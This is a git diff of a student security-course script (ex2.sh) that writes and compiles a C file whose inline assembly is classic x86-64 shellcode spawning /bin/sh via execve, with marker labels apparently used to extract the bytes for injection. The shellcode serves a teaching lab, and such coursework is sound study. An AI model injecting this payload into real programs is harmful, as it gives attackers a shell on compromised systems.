diff options
Diffstat (limited to 'CamilStaps-s4498062-Assignment-6/ex2.sh')
-rwxr-xr-x | CamilStaps-s4498062-Assignment-6/ex2.sh | 1 |
1 files changed, 1 insertions, 0 deletions
diff --git a/CamilStaps-s4498062-Assignment-6/ex2.sh b/CamilStaps-s4498062-Assignment-6/ex2.sh index 0a86bf5..1805bdc 100755 --- a/CamilStaps-s4498062-Assignment-6/ex2.sh +++ b/CamilStaps-s4498062-Assignment-6/ex2.sh @@ -1,3 +1,4 @@ +#!/bin/sh echo 'int main() {\n asm("\\\nneedle0: jmp there\\n\\\nhere: pop %rdi\\n\\\n xor %rax, %rax\\n\\\n movb $0x3b, %al\\n\\\n xor %rsi, %rsi\\n\\\n xor %rdx, %rdx\\n\\\n syscall\\n\\\nthere: call here\\n\\\n.string \\"/bin/sh\\"\\n\\\nneedle1: .octa 0xdeadbeef\\n\\\n ");\n}' > shell.c gcc shell.c |